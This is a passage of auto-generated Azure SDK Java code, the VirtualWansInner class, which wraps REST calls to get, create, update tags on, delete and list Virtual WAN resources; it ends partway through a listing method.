public class VirtualWansInner implements InnerSupportsGet<VirtualWANInner>, InnerSupportsDelete<Void>, InnerSupportsListing<VirtualWANInner> {
/** The Retrofit service to perform REST calls. */
private VirtualWansService service;
/** The service client containing this operation class. */
private NetworkManagementClientImpl client;
/**
* Initializes an instance of VirtualWansInner.
*
* @param retrofit the Retrofit instance built from a Retrofit Builder.
* @param client the instance of the service client containing this operation class.
*/
public VirtualWansInner(Retrofit retrofit, NetworkManagementClientImpl client) {
this.service = retrofit.create(VirtualWansService.class);
this.client = client;
}
/**
* The interface defining all the services for VirtualWans to be
* used by Retrofit to perform actually REST calls.
*/
interface VirtualWansService {
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans getByResourceGroup" })
@GET("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualWans/{VirtualWANName}")
Observable<Response<ResponseBody>> getByResourceGroup(@Path("resourceGroupName") String resourceGroupName, @Path("VirtualWANName") String virtualWANName, @Path("subscriptionId") String subscriptionId, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans createOrUpdate" })
@PUT("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualWans/{VirtualWANName}")
Observable<Response<ResponseBody>> createOrUpdate(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("VirtualWANName") String virtualWANName, @Query("api-version") String apiVersion, @Body VirtualWANInner wANParameters, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans beginCreateOrUpdate" })
@PUT("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualWans/{VirtualWANName}")
Observable<Response<ResponseBody>> beginCreateOrUpdate(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("VirtualWANName") String virtualWANName, @Query("api-version") String apiVersion, @Body VirtualWANInner wANParameters, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans updateTags" })
@PATCH("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualWans/{VirtualWANName}")
Observable<Response<ResponseBody>> updateTags(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("VirtualWANName") String virtualWANName, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Body TagsObject wANParameters, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans delete" })
@HTTP(path = "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualWans/{VirtualWANName}", method = "DELETE", hasBody = true)
Observable<Response<ResponseBody>> delete(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("VirtualWANName") String virtualWANName, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans beginDelete" })
@HTTP(path = "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualWans/{VirtualWANName}", method = "DELETE", hasBody = true)
Observable<Response<ResponseBody>> beginDelete(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("VirtualWANName") String virtualWANName, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans listByResourceGroup" })
@GET("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualWans")
Observable<Response<ResponseBody>> listByResourceGroup(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans list" })
@GET("subscriptions/{subscriptionId}/providers/Microsoft.Network/virtualWans")
Observable<Response<ResponseBody>> list(@Path("subscriptionId") String subscriptionId, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans listByResourceGroupNext" })
@GET
Observable<Response<ResponseBody>> listByResourceGroupNext(@Url String nextUrl, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
@Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2020_03_01.VirtualWans listNext" })
@GET
Observable<Response<ResponseBody>> listNext(@Url String nextUrl, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent);
}
/**
* Retrieves the details of a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being retrieved.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the VirtualWANInner object if successful.
*/
public VirtualWANInner getByResourceGroup(String resourceGroupName, String virtualWANName) {
return getByResourceGroupWithServiceResponseAsync(resourceGroupName, virtualWANName).toBlocking().single().body();
}
/**
* Retrieves the details of a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being retrieved.
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<VirtualWANInner> getByResourceGroupAsync(String resourceGroupName, String virtualWANName, final ServiceCallback<VirtualWANInner> serviceCallback) {
return ServiceFuture.fromResponse(getByResourceGroupWithServiceResponseAsync(resourceGroupName, virtualWANName), serviceCallback);
}
/**
* Retrieves the details of a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being retrieved.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the VirtualWANInner object
*/
public Observable<VirtualWANInner> getByResourceGroupAsync(String resourceGroupName, String virtualWANName) {
return getByResourceGroupWithServiceResponseAsync(resourceGroupName, virtualWANName).map(new Func1<ServiceResponse<VirtualWANInner>, VirtualWANInner>() {
@Override
public VirtualWANInner call(ServiceResponse<VirtualWANInner> response) {
return response.body();
}
});
}
/**
* Retrieves the details of a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being retrieved.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the VirtualWANInner object
*/
public Observable<ServiceResponse<VirtualWANInner>> getByResourceGroupWithServiceResponseAsync(String resourceGroupName, String virtualWANName) {
if (resourceGroupName == null) {
throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null.");
}
if (virtualWANName == null) {
throw new IllegalArgumentException("Parameter virtualWANName is required and cannot be null.");
}
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
final String apiVersion = "2020-03-01";
return service.getByResourceGroup(resourceGroupName, virtualWANName, this.client.subscriptionId(), apiVersion, this.client.acceptLanguage(), this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<VirtualWANInner>>>() {
@Override
public Observable<ServiceResponse<VirtualWANInner>> call(Response<ResponseBody> response) {
try {
ServiceResponse<VirtualWANInner> clientResponse = getByResourceGroupDelegate(response);
return Observable.just(clientResponse);
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
private ServiceResponse<VirtualWANInner> getByResourceGroupDelegate(Response<ResponseBody> response) throws CloudException, IOException, IllegalArgumentException {
return this.client.restClient().responseBuilderFactory().<VirtualWANInner, CloudException>newInstance(this.client.serializerAdapter())
.register(200, new TypeToken<VirtualWANInner>() { }.getType())
.registerError(CloudException.class)
.build(response);
}
/**
* Creates a VirtualWAN resource if it doesn't exist else updates the existing VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being created or updated.
* @param wANParameters Parameters supplied to create or update VirtualWAN.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the VirtualWANInner object if successful.
*/
public VirtualWANInner createOrUpdate(String resourceGroupName, String virtualWANName, VirtualWANInner wANParameters) {
return createOrUpdateWithServiceResponseAsync(resourceGroupName, virtualWANName, wANParameters).toBlocking().last().body();
}
/**
* Creates a VirtualWAN resource if it doesn't exist else updates the existing VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being created or updated.
* @param wANParameters Parameters supplied to create or update VirtualWAN.
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<VirtualWANInner> createOrUpdateAsync(String resourceGroupName, String virtualWANName, VirtualWANInner wANParameters, final ServiceCallback<VirtualWANInner> serviceCallback) {
return ServiceFuture.fromResponse(createOrUpdateWithServiceResponseAsync(resourceGroupName, virtualWANName, wANParameters), serviceCallback);
}
/**
* Creates a VirtualWAN resource if it doesn't exist else updates the existing VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being created or updated.
* @param wANParameters Parameters supplied to create or update VirtualWAN.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable for the request
*/
public Observable<VirtualWANInner> createOrUpdateAsync(String resourceGroupName, String virtualWANName, VirtualWANInner wANParameters) {
return createOrUpdateWithServiceResponseAsync(resourceGroupName, virtualWANName, wANParameters).map(new Func1<ServiceResponse<VirtualWANInner>, VirtualWANInner>() {
@Override
public VirtualWANInner call(ServiceResponse<VirtualWANInner> response) {
return response.body();
}
});
}
/**
* Creates a VirtualWAN resource if it doesn't exist else updates the existing VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being created or updated.
* @param wANParameters Parameters supplied to create or update VirtualWAN.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable for the request
*/
public Observable<ServiceResponse<VirtualWANInner>> createOrUpdateWithServiceResponseAsync(String resourceGroupName, String virtualWANName, VirtualWANInner wANParameters) {
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
if (resourceGroupName == null) {
throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null.");
}
if (virtualWANName == null) {
throw new IllegalArgumentException("Parameter virtualWANName is required and cannot be null.");
}
if (wANParameters == null) {
throw new IllegalArgumentException("Parameter wANParameters is required and cannot be null.");
}
Validator.validate(wANParameters);
final String apiVersion = "2020-03-01";
Observable<Response<ResponseBody>> observable = service.createOrUpdate(this.client.subscriptionId(), resourceGroupName, virtualWANName, apiVersion, wANParameters, this.client.acceptLanguage(), this.client.userAgent());
return client.getAzureClient().getPutOrPatchResultAsync(observable, new TypeToken<VirtualWANInner>() { }.getType());
}
/**
* Creates a VirtualWAN resource if it doesn't exist else updates the existing VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being created or updated.
* @param wANParameters Parameters supplied to create or update VirtualWAN.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the VirtualWANInner object if successful.
*/
public VirtualWANInner beginCreateOrUpdate(String resourceGroupName, String virtualWANName, VirtualWANInner wANParameters) {
return beginCreateOrUpdateWithServiceResponseAsync(resourceGroupName, virtualWANName, wANParameters).toBlocking().single().body();
}
/**
* Creates a VirtualWAN resource if it doesn't exist else updates the existing VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being created or updated.
* @param wANParameters Parameters supplied to create or update VirtualWAN.
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<VirtualWANInner> beginCreateOrUpdateAsync(String resourceGroupName, String virtualWANName, VirtualWANInner wANParameters, final ServiceCallback<VirtualWANInner> serviceCallback) {
return ServiceFuture.fromResponse(beginCreateOrUpdateWithServiceResponseAsync(resourceGroupName, virtualWANName, wANParameters), serviceCallback);
}
/**
* Creates a VirtualWAN resource if it doesn't exist else updates the existing VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being created or updated.
* @param wANParameters Parameters supplied to create or update VirtualWAN.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the VirtualWANInner object
*/
public Observable<VirtualWANInner> beginCreateOrUpdateAsync(String resourceGroupName, String virtualWANName, VirtualWANInner wANParameters) {
return beginCreateOrUpdateWithServiceResponseAsync(resourceGroupName, virtualWANName, wANParameters).map(new Func1<ServiceResponse<VirtualWANInner>, VirtualWANInner>() {
@Override
public VirtualWANInner call(ServiceResponse<VirtualWANInner> response) {
return response.body();
}
});
}
/**
* Creates a VirtualWAN resource if it doesn't exist else updates the existing VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being created or updated.
* @param wANParameters Parameters supplied to create or update VirtualWAN.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the VirtualWANInner object
*/
public Observable<ServiceResponse<VirtualWANInner>> beginCreateOrUpdateWithServiceResponseAsync(String resourceGroupName, String virtualWANName, VirtualWANInner wANParameters) {
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
if (resourceGroupName == null) {
throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null.");
}
if (virtualWANName == null) {
throw new IllegalArgumentException("Parameter virtualWANName is required and cannot be null.");
}
if (wANParameters == null) {
throw new IllegalArgumentException("Parameter wANParameters is required and cannot be null.");
}
Validator.validate(wANParameters);
final String apiVersion = "2020-03-01";
return service.beginCreateOrUpdate(this.client.subscriptionId(), resourceGroupName, virtualWANName, apiVersion, wANParameters, this.client.acceptLanguage(), this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<VirtualWANInner>>>() {
@Override
public Observable<ServiceResponse<VirtualWANInner>> call(Response<ResponseBody> response) {
try {
ServiceResponse<VirtualWANInner> clientResponse = beginCreateOrUpdateDelegate(response);
return Observable.just(clientResponse);
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
private ServiceResponse<VirtualWANInner> beginCreateOrUpdateDelegate(Response<ResponseBody> response) throws CloudException, IOException, IllegalArgumentException {
return this.client.restClient().responseBuilderFactory().<VirtualWANInner, CloudException>newInstance(this.client.serializerAdapter())
.register(200, new TypeToken<VirtualWANInner>() { }.getType())
.register(201, new TypeToken<VirtualWANInner>() { }.getType())
.registerError(CloudException.class)
.build(response);
}
/**
* Updates a VirtualWAN tags.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being updated.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the VirtualWANInner object if successful.
*/
public VirtualWANInner updateTags(String resourceGroupName, String virtualWANName) {
return updateTagsWithServiceResponseAsync(resourceGroupName, virtualWANName).toBlocking().single().body();
}
/**
* Updates a VirtualWAN tags.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being updated.
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<VirtualWANInner> updateTagsAsync(String resourceGroupName, String virtualWANName, final ServiceCallback<VirtualWANInner> serviceCallback) {
return ServiceFuture.fromResponse(updateTagsWithServiceResponseAsync(resourceGroupName, virtualWANName), serviceCallback);
}
/**
* Updates a VirtualWAN tags.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being updated.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the VirtualWANInner object
*/
public Observable<VirtualWANInner> updateTagsAsync(String resourceGroupName, String virtualWANName) {
return updateTagsWithServiceResponseAsync(resourceGroupName, virtualWANName).map(new Func1<ServiceResponse<VirtualWANInner>, VirtualWANInner>() {
@Override
public VirtualWANInner call(ServiceResponse<VirtualWANInner> response) {
return response.body();
}
});
}
/**
* Updates a VirtualWAN tags.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being updated.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the VirtualWANInner object
*/
public Observable<ServiceResponse<VirtualWANInner>> updateTagsWithServiceResponseAsync(String resourceGroupName, String virtualWANName) {
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
if (resourceGroupName == null) {
throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null.");
}
if (virtualWANName == null) {
throw new IllegalArgumentException("Parameter virtualWANName is required and cannot be null.");
}
final String apiVersion = "2020-03-01";
final Map<String, String> tags = null;
TagsObject wANParameters = new TagsObject();
wANParameters.withTags(null);
return service.updateTags(this.client.subscriptionId(), resourceGroupName, virtualWANName, apiVersion, this.client.acceptLanguage(), wANParameters, this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<VirtualWANInner>>>() {
@Override
public Observable<ServiceResponse<VirtualWANInner>> call(Response<ResponseBody> response) {
try {
ServiceResponse<VirtualWANInner> clientResponse = updateTagsDelegate(response);
return Observable.just(clientResponse);
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
/**
* Updates a VirtualWAN tags.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being updated.
* @param tags Resource tags.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the VirtualWANInner object if successful.
*/
public VirtualWANInner updateTags(String resourceGroupName, String virtualWANName, Map<String, String> tags) {
return updateTagsWithServiceResponseAsync(resourceGroupName, virtualWANName, tags).toBlocking().single().body();
}
/**
* Updates a VirtualWAN tags.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being updated.
* @param tags Resource tags.
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<VirtualWANInner> updateTagsAsync(String resourceGroupName, String virtualWANName, Map<String, String> tags, final ServiceCallback<VirtualWANInner> serviceCallback) {
return ServiceFuture.fromResponse(updateTagsWithServiceResponseAsync(resourceGroupName, virtualWANName, tags), serviceCallback);
}
/**
* Updates a VirtualWAN tags.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being updated.
* @param tags Resource tags.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the VirtualWANInner object
*/
public Observable<VirtualWANInner> updateTagsAsync(String resourceGroupName, String virtualWANName, Map<String, String> tags) {
return updateTagsWithServiceResponseAsync(resourceGroupName, virtualWANName, tags).map(new Func1<ServiceResponse<VirtualWANInner>, VirtualWANInner>() {
@Override
public VirtualWANInner call(ServiceResponse<VirtualWANInner> response) {
return response.body();
}
});
}
/**
* Updates a VirtualWAN tags.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being updated.
* @param tags Resource tags.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the VirtualWANInner object
*/
public Observable<ServiceResponse<VirtualWANInner>> updateTagsWithServiceResponseAsync(String resourceGroupName, String virtualWANName, Map<String, String> tags) {
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
if (resourceGroupName == null) {
throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null.");
}
if (virtualWANName == null) {
throw new IllegalArgumentException("Parameter virtualWANName is required and cannot be null.");
}
Validator.validate(tags);
final String apiVersion = "2020-03-01";
TagsObject wANParameters = new TagsObject();
wANParameters.withTags(tags);
return service.updateTags(this.client.subscriptionId(), resourceGroupName, virtualWANName, apiVersion, this.client.acceptLanguage(), wANParameters, this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<VirtualWANInner>>>() {
@Override
public Observable<ServiceResponse<VirtualWANInner>> call(Response<ResponseBody> response) {
try {
ServiceResponse<VirtualWANInner> clientResponse = updateTagsDelegate(response);
return Observable.just(clientResponse);
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
private ServiceResponse<VirtualWANInner> updateTagsDelegate(Response<ResponseBody> response) throws CloudException, IOException, IllegalArgumentException {
return this.client.restClient().responseBuilderFactory().<VirtualWANInner, CloudException>newInstance(this.client.serializerAdapter())
.register(200, new TypeToken<VirtualWANInner>() { }.getType())
.registerError(CloudException.class)
.build(response);
}
/**
* Deletes a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being deleted.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
*/
public void delete(String resourceGroupName, String virtualWANName) {
deleteWithServiceResponseAsync(resourceGroupName, virtualWANName).toBlocking().last().body();
}
/**
* Deletes a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being deleted.
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<Void> deleteAsync(String resourceGroupName, String virtualWANName, final ServiceCallback<Void> serviceCallback) {
return ServiceFuture.fromResponse(deleteWithServiceResponseAsync(resourceGroupName, virtualWANName), serviceCallback);
}
/**
* Deletes a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being deleted.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable for the request
*/
public Observable<Void> deleteAsync(String resourceGroupName, String virtualWANName) {
return deleteWithServiceResponseAsync(resourceGroupName, virtualWANName).map(new Func1<ServiceResponse<Void>, Void>() {
@Override
public Void call(ServiceResponse<Void> response) {
return response.body();
}
});
}
/**
* Deletes a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being deleted.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable for the request
*/
public Observable<ServiceResponse<Void>> deleteWithServiceResponseAsync(String resourceGroupName, String virtualWANName) {
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
if (resourceGroupName == null) {
throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null.");
}
if (virtualWANName == null) {
throw new IllegalArgumentException("Parameter virtualWANName is required and cannot be null.");
}
final String apiVersion = "2020-03-01";
Observable<Response<ResponseBody>> observable = service.delete(this.client.subscriptionId(), resourceGroupName, virtualWANName, apiVersion, this.client.acceptLanguage(), this.client.userAgent());
return client.getAzureClient().getPostOrDeleteResultAsync(observable, new TypeToken<Void>() { }.getType());
}
/**
* Deletes a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being deleted.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
*/
public void beginDelete(String resourceGroupName, String virtualWANName) {
beginDeleteWithServiceResponseAsync(resourceGroupName, virtualWANName).toBlocking().single().body();
}
/**
* Deletes a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being deleted.
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<Void> beginDeleteAsync(String resourceGroupName, String virtualWANName, final ServiceCallback<Void> serviceCallback) {
return ServiceFuture.fromResponse(beginDeleteWithServiceResponseAsync(resourceGroupName, virtualWANName), serviceCallback);
}
/**
* Deletes a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being deleted.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceResponse} object if successful.
*/
public Observable<Void> beginDeleteAsync(String resourceGroupName, String virtualWANName) {
return beginDeleteWithServiceResponseAsync(resourceGroupName, virtualWANName).map(new Func1<ServiceResponse<Void>, Void>() {
@Override
public Void call(ServiceResponse<Void> response) {
return response.body();
}
});
}
/**
* Deletes a VirtualWAN.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param virtualWANName The name of the VirtualWAN being deleted.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceResponse} object if successful.
*/
public Observable<ServiceResponse<Void>> beginDeleteWithServiceResponseAsync(String resourceGroupName, String virtualWANName) {
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
if (resourceGroupName == null) {
throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null.");
}
if (virtualWANName == null) {
throw new IllegalArgumentException("Parameter virtualWANName is required and cannot be null.");
}
final String apiVersion = "2020-03-01";
return service.beginDelete(this.client.subscriptionId(), resourceGroupName, virtualWANName, apiVersion, this.client.acceptLanguage(), this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<Void>>>() {
@Override
public Observable<ServiceResponse<Void>> call(Response<ResponseBody> response) {
try {
ServiceResponse<Void> clientResponse = beginDeleteDelegate(response);
return Observable.just(clientResponse);
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
private ServiceResponse<Void> beginDeleteDelegate(Response<ResponseBody> response) throws CloudException, IOException, IllegalArgumentException {
return this.client.restClient().responseBuilderFactory().<Void, CloudException>newInstance(this.client.serializerAdapter())
.register(200, new TypeToken<Void>() { }.getType())
.register(202, new TypeToken<Void>() { }.getType())
.register(204, new TypeToken<Void>() { }.getType())
.registerError(CloudException.class)
.build(response);
}
/**
* Lists all the VirtualWANs in a resource group.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the PagedList<VirtualWANInner> object if successful.
*/
public PagedList<VirtualWANInner> listByResourceGroup(final String resourceGroupName) {
ServiceResponse<Page<VirtualWANInner>> response = listByResourceGroupSinglePageAsync(resourceGroupName).toBlocking().single();
return new PagedList<VirtualWANInner>(response.body()) {
@Override
public Page<VirtualWANInner> nextPage(String nextPageLink) {
return listByResourceGroupNextSinglePageAsync(nextPageLink).toBlocking().single().body();
}
};
}
/**
* Lists all the VirtualWANs in a resource group.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<List<VirtualWANInner>> listByResourceGroupAsync(final String resourceGroupName, final ListOperationCallback<VirtualWANInner> serviceCallback) {
return AzureServiceFuture.fromPageResponse(
listByResourceGroupSinglePageAsync(resourceGroupName),
new Func1<String, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(String nextPageLink) {
return listByResourceGroupNextSinglePageAsync(nextPageLink);
}
},
serviceCallback);
}
/**
* Lists all the VirtualWANs in a resource group.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the PagedList<VirtualWANInner> object
*/
public Observable<Page<VirtualWANInner>> listByResourceGroupAsync(final String resourceGroupName) {
return listByResourceGroupWithServiceResponseAsync(resourceGroupName)
.map(new Func1<ServiceResponse<Page<VirtualWANInner>>, Page<VirtualWANInner>>() {
@Override
public Page<VirtualWANInner> call(ServiceResponse<Page<VirtualWANInner>> response) {
return response.body();
}
});
}
/**
* Lists all the VirtualWANs in a resource group.
*
* @param resourceGroupName The resource group name of the VirtualWan.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the PagedList<VirtualWANInner> object
*/
public Observable<ServiceResponse<Page<VirtualWANInner>>> listByResourceGroupWithServiceResponseAsync(final String resourceGroupName) {
